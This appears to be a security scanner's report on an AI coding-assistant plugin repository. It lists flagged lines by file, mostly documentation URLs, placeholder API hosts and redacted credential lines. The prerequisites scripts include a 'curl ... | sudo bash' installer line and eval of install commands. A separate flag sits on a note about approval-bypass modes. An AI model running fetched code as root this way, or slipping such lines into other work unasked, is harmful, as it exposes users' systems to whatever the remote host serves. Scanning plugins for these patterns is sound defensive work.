echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 291
log_warning "OAuth Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Network accessline 292
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" echo "" - Network accessline 293
echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Access to secretsline 319
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 386
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 423
[Credential-related source omitted] - Access to secretsline 435
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/github-codespaces-golden-paths/references/devcontainer-templates.md
- Network accessline 212
[](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-harness-engineering/SKILL.md
- Network accessline 125
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 162
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-sdk/SKILL.md
- Network accessline 111
- [GitHub Copilot SDK](https://github.com/github/copilot-sdk)
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/skills/github-copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/skills/github-issue-ops/dispatcher.py
harness/claude-code/plugins/open-horizons-platform/skills/github-issue-ops/test_dispatcher.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/LICENSE.txt
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/skills/mcp-builder/scripts/evaluation.py
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/SKILL.md
- Network accessline 26
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 27
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 55
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 56
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 57
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 58
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 115
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 116
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 117
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/dotnet.md
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-agent-framework/references/python.md
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-code-reference/SKILL.md
- Network accessline 8
metadata: compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 9
compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback. - Network accessline 10
Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 139
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-docs/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/microsoft-skill-creator/SKILL.md
- Network accessline 8
metadata: compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 9
compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback. - Network accessline 10
Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 31
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 106
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 164
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 165
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 166
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-ai-catalog/SKILL.md
- Network accessline 75
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-authentication/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-catalog-db-performance/SKILL.md
- Network accessline 7
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 8
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: eeac444a9aba7c107525d2a726851e907418c181 - Network accessline 9
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/azure-devops.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-external-integrations/references/servicenow.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-framework/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-kubernetes/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-search/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/SKILL.md
- Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 123
# Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080 - Network accessline 125
# Visit https://localhost:8080 - Network accessline 127
# Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000 - Network accessline 129
# Visit http://localhost:3000
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/rollback.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/troubleshooting.md
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/SKILL.md
- Network accessline 76
# Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 77
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 77
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 79
# Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg - Dangerous shell operationline 80
[Credential-related source omitted] - Network accessline 80
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Dangerous shell operationline 81
[Credential-related source omitted] - Network accessline 81
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Dangerous shell operationline 82
sudo apt update && sudo apt install terraform - Network accessline 84
# kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Network accessline 85
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Dangerous shell operationline 86
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/SKILL.md
- Network accessline 133
- [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions) - Network accessline 134
- [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/templates/mcp.json
harness/claude-code/plugins/open-horizons-platform/skills/prompt/SKILL.md
- Instruction override signalline 66
Prompt frontmatter controls tool availability, not approval. Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, URL approval, terminal approval, sandboxing, and managed organizational rules - Instruction override signalline 67
Bypass Approvals, Autopilot, URL approval, terminal approval, sandboxing, and managed organizational rules - Network accessline 114
- VS Code prompt files: https://code.visualstudio.com/docs/agent-customization/prompt-files
harness/claude-code/plugins/open-horizons-platform/skills/python-package-management/SKILL.md
- Network accessline 37
Uses [uv](https://github.com/astral-sh/uv) for dependency management and - Network accessline 38
[poethepoet](https://github.com/nat-n/poethepoet) for task automation. - Network accessline 243
- `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values: `https://pypi.org/classifiers/` - Network accessline 245
`https://pypi.org/classifiers/`
harness/claude-code/plugins/open-horizons-platform/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/openapi-to-application-csharp-dotnet/.claude-plugin/plugin.json
harness/claude-code/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/plugins/openapi-to-application-go/.claude-plugin/plugin.json
harness/claude-code/plugins/openapi-to-application-go/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/plugins/openapi-to-application-java-spring-boot/.claude-plugin/plugin.json
harness/claude-code/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/.claude-plugin/plugin.json
harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/plugins/openapi-to-application-python-fastapi/.claude-plugin/plugin.json
harness/claude-code/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/plugins/oracle-to-postgres-migration-expert/.claude-plugin/plugin.json
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md
- Network accessline 182
- Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html) - Network accessline 183
- PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md
- Network accessline 144
- [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html) - Network accessline 145
- PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md
- Network accessline 171
- [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html) - Network accessline 172
- [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm) - Network accessline 173
- [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md
- Network accessline 257
- [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html) - Network accessline 258
- [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html) - Network accessline 259
- [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)
harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md
- Network accessline 146
- [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 147
- [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 148
- [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)
harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.json
harness/claude-code/plugins/ospo-sponsorship/skills/sponsor-finder/SKILL.md
- Network accessline 63
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies - Network accessline 68
https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies - Network accessline 93
https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION} - Network accessline 114
https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo} - Network accessline 139
### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 140
Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field: - Network accessline 141
- **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL - Network accessline 142
- **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url` - Network accessline 154
GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p - Network accessline 158
Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 159
- `github: [username]` → `https://github.com/sponsors/{username}` - Network accessline 160
- `open_collective: slug` → `https://opencollective.com/{slug}` - Network accessline 161
- `ko_fi: username` → `https://ko-fi.com/{username}` - Network accessline 162
- `patreon: username` → `https://patreon.com/{username}` - Network accessline 163
- `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}` - Network accessline 255
1.**@{user}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://github.com/sponsors/{user} - Network accessline 257
https://github.com/sponsors/{user} - Network accessline 259
2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained {dep1}, {dep2}, {dep3}, ... https://opencollective.com/{name} - Network accessline 261
https://opencollective.com/{name} - Network accessline 263
3.**@{user2}**— {N} direct dep · Low activity {dep1} https://github.com/sponsors/{user2} - Network accessline 265
https://github.com/sponsors/{user2}
harness/claude-code/plugins/partners/.claude-plugin/plugin.json
harness/claude-code/plugins/pcf-development/.claude-plugin/plugin.json
harness/claude-code/plugins/pcf-development/skills/pcf-development/SKILL.md
- Network accessline 168
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview - Network accessline 169
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations - Network accessline 170
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/
harness/claude-code/plugins/phoenix/.claude-plugin/plugin.json
